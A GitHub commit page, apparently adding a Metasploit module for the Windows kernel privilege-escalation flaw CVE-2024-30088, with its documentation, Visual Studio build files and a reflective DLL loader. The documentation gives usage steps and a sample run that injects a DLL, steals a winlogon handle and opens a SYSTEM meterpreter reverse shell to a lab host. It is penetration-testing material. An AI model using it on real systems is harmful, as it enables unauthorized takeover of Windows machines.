Skip to content

Commit 31348da

Browse files
jheysel-r7jheysel-r7
committed
Windows LPE CVE-2024-30088 
1 parent 0df07d7 commit 31348da

File tree

9 files changed

+756
-0
lines changed

9 files changed

+756
-0
lines changed

‎data/exploits/CVE-2024-30088/CVE-2024-30088.x64.dll‎

635 KB
Binary file not shown.

‎documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
## Vulnerable Application
2+
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
3+
Windows 11 and Windows Server 2022.
4+
5+
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
6+
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
7+
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure
8+
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
9+
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
10+
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
11+
12+
### Setup
13+
14+
Windows 10 versions 22H2 (without the patch ie. excluding 10.0.19045.4529) are vulnerable out of the box.
15+
This exploit module has been tested on Windows 10 version 22H2 build 19045.2965.
16+
17+
## Verification Steps
18+
19+
1. Start msfconsole
20+
1. Get a user level session on an affected Windows machine
21+
1. Do: `use windows/local/cve_2024_30038_authz_basep`
22+
1. Set the `LHOST`, `LPORT`, and `SESSION` options
23+
1. Run the module
24+
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.
25+
26+
## Scenarios
27+
### Windows 10 (10.0 Build 19045.2965)
28+
```
29+
msf6 > use windows/local/cve_2024_30038_authz_basep
30+
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
31+
msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1
32+
session => -1
33+
msf6 exploit(windows/local/cve_2024_30038_authz_basep) > exploit
34+
35+
[*] Started reverse TCP handler on 172.16.199.1:4444
36+
[*] Running automatic check ("set AutoCheck false" to disable)
37+
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
38+
[*] Reflectively injecting the DLL into 9664...
39+
[*] Attempting to steal the handle from the winlogon process...
40+
[*] Sleeping for 2 seconds before attempting again
41+
[+] Successfully stole winlogon handle: 1340
42+
[+] Successfully retrieved winlogon pid: 736
43+
[*] Creating the thread to execute in 0x16e4e500000 (pid=736)
44+
[*] Sending stage (201798 bytes) to 172.16.199.130
45+
[*] Meterpreter session 63 opened (172.16.199.1:4444 -> 172.16.199.130:49735) at 2024-08-21 22:56:13 -0700
46+
47+
meterpreter > getuid
48+
Server username: NT AUTHORITY\SYSTEM
49+
meterpreter > sysinfo
50+
Computer : DESKTOP-FGNRA7E
51+
OS : Windows 10 (10.0 Build 19045).
52+
Architecture : x64
53+
System Language : en_US
54+
Domain : WORKGROUP
55+
Logged On Users : 2
56+
Meterpreter : x64/windows
57+
meterpreter >
58+
```

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/CVE-2024-30088.sln‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 17
4+
VisualStudioVersion = 17.9.34728.123
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-30088", "CVE-2024-30088.vcxproj", "{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x64.ActiveCfg = Debug|x64
17+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x64.Build.0 = Debug|x64
18+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x86.ActiveCfg = Debug|Win32
19+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x86.Build.0 = Debug|Win32
20+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x64.ActiveCfg = Release|x64
21+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x64.Build.0 = Release|x64
22+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x86.ActiveCfg = Release|Win32
23+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {E06D4ED0-8938-4E66-8429-9C6EC7B18D4D}
30+
EndGlobalSection
31+
EndGlobal

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/CVE-2024-30088.vcxproj‎

Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<ProjectGuid>{160b76bb-cc55-4229-9c3b-5ebd0ffed32c}</ProjectGuid>
24+
<Keyword>Win32Proj</Keyword>
25+
<RootNamespace>CVE_2024_30088</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>DynamicLibrary</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>MultiByte</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>DynamicLibrary</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>false</WholeProgramOptimization>
40+
<CharacterSet>MultiByte</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>DynamicLibrary</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v142</PlatformToolset>
46+
<CharacterSet>MultiByte</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>DynamicLibrary</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v142</PlatformToolset>
52+
<WholeProgramOptimization>false</WholeProgramOptimization>
53+
<CharacterSet>MultiByte</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
74+
<LinkIncremental>true</LinkIncremental>
75+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
76+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
77+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
80+
<LinkIncremental>true</LinkIncremental>
81+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
82+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
83+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
84+
</PropertyGroup>
85+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
86+
<LinkIncremental>false</LinkIncremental>
87+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
88+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
89+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
90+
<GenerateManifest>false</GenerateManifest>
91+
</PropertyGroup>
92+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
93+
<LinkIncremental>false</LinkIncremental>
94+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
95+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
96+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
97+
<GenerateManifest>false</GenerateManifest>
98+
</PropertyGroup>
99+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
100+
<ClCompile>
101+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
102+
<WarningLevel>Level3</WarningLevel>
103+
<SDLCheck>true</SDLCheck>
104+
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
105+
<ConformanceMode>false</ConformanceMode>
106+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
107+
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
108+
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
109+
<TreatWarningAsError>true</TreatWarningAsError>
110+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
111+
<StringPooling>true</StringPooling>
112+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
113+
<FunctionLevelLinking>false</FunctionLevelLinking>
114+
</ClCompile>
115+
<Link>
116+
<SubSystem>Windows</SubSystem>
117+
<GenerateDebugInformation>true</GenerateDebugInformation>
118+
<EnableUAC>false</EnableUAC>
119+
<GenerateMapFile>true</GenerateMapFile>
120+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
121+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
122+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
123+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
124+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
125+
</Link>
126+
</ItemDefinitionGroup>
127+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
128+
<ClCompile>
129+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
130+
<WarningLevel>Level3</WarningLevel>
131+
<SDLCheck>true</SDLCheck>
132+
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
133+
<ConformanceMode>false</ConformanceMode>
134+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
135+
<AdditionalIncludeDirectories>C:\Users\msfuser\Documents\git\metasploit-framework\external\source\include\windows;..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
136+
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
137+
<TreatWarningAsError>false</TreatWarningAsError>
138+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
139+
<StringPooling>true</StringPooling>
140+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
141+
<FunctionLevelLinking>false</FunctionLevelLinking>
142+
</ClCompile>
143+
<Link>
144+
<SubSystem>Windows</SubSystem>
145+
<GenerateDebugInformation>true</GenerateDebugInformation>
146+
<EnableUAC>false</EnableUAC>
147+
<GenerateMapFile>true</GenerateMapFile>
148+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
149+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
150+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
151+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
152+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
153+
</Link>
154+
</ItemDefinitionGroup>
155+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
156+
<ClCompile>
157+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
158+
<WarningLevel>Level3</WarningLevel>
159+
<FunctionLevelLinking>false</FunctionLevelLinking>
160+
<IntrinsicFunctions>false</IntrinsicFunctions>
161+
<SDLCheck>
162+
</SDLCheck>
163+
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
164+
<ConformanceMode>false</ConformanceMode>
165+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
166+
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
167+
<TreatWarningAsError>true</TreatWarningAsError>
168+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
169+
<StringPooling>true</StringPooling>
170+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
171+
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
172+
<ObjectFileName>$(OutDir)\</ObjectFileName>
173+
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
174+
</ClCompile>
175+
<Link>
176+
<SubSystem>Windows</SubSystem>
177+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
178+
<OptimizeReferences>true</OptimizeReferences>
179+
<GenerateDebugInformation>false</GenerateDebugInformation>
180+
<EnableUAC>false</EnableUAC>
181+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
182+
<GenerateMapFile>false</GenerateMapFile>
183+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
184+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
185+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
186+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
187+
</Link>
188+
</ItemDefinitionGroup>
189+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
190+
<ClCompile>
191+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
192+
<WarningLevel>Level3</WarningLevel>
193+
<FunctionLevelLinking>false</FunctionLevelLinking>
194+
<IntrinsicFunctions>false</IntrinsicFunctions>
195+
<SDLCheck>
196+
</SDLCheck>
197+
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
198+
<ConformanceMode>false</ConformanceMode>
199+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
200+
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
201+
<TreatWarningAsError>true</TreatWarningAsError>
202+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
203+
<StringPooling>true</StringPooling>
204+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
205+
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
206+
<ObjectFileName>$(OutDir)\</ObjectFileName>
207+
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
208+
</ClCompile>
209+
<Link>
210+
<SubSystem>Windows</SubSystem>
211+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
212+
<OptimizeReferences>true</OptimizeReferences>
213+
<GenerateDebugInformation>false</GenerateDebugInformation>
214+
<EnableUAC>false</EnableUAC>
215+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
216+
<GenerateMapFile>false</GenerateMapFile>
217+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
218+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
219+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
220+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
221+
</Link>
222+
</ItemDefinitionGroup>
223+
<ItemGroup>
224+
<ClCompile Include="dllmain.c" />
225+
<ClCompile Include="exploit.c" />
226+
</ItemGroup>
227+
<ItemGroup>
228+
<ClInclude Include="exploit.h" />
229+
</ItemGroup>
230+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
231+
<ImportGroup Label="ExtensionTargets">
232+
</ImportGroup>
233+
</Project>

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c‎

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
2+
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
3+
//#define DEBUGTRACE 1
4+
5+
#include "ReflectiveLoader.c"
6+
#include <common.h>
7+
#include <stdio.h>
8+
9+
10+
HANDLE exploit();
11+
12+
int main(LPVOID address) {
13+
HANDLE winlogon_handle = exploit();
14+
*(HANDLE*)address = winlogon_handle;
15+
return 1;
16+
}
17+
18+
19+
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
20+
{
21+
switch (dwReason)
22+
{
23+
case DLL_QUERY_HMODULE:
24+
hAppInstance = hinstDLL;
25+
if (lpReserved != NULL)
26+
{
27+
*(HMODULE*)lpReserved = hAppInstance;
28+
}
29+
break;
30+
case DLL_PROCESS_ATTACH:
31+
hAppInstance = hinstDLL;
32+
main(lpReserved);
33+
break;
34+
case DLL_PROCESS_DETACH:
35+
case DLL_THREAD_ATTACH:
36+
case DLL_THREAD_DETACH:
37+
break;
38+
}
39+
return TRUE;
40+
}

0 commit comments

Comments
 (0)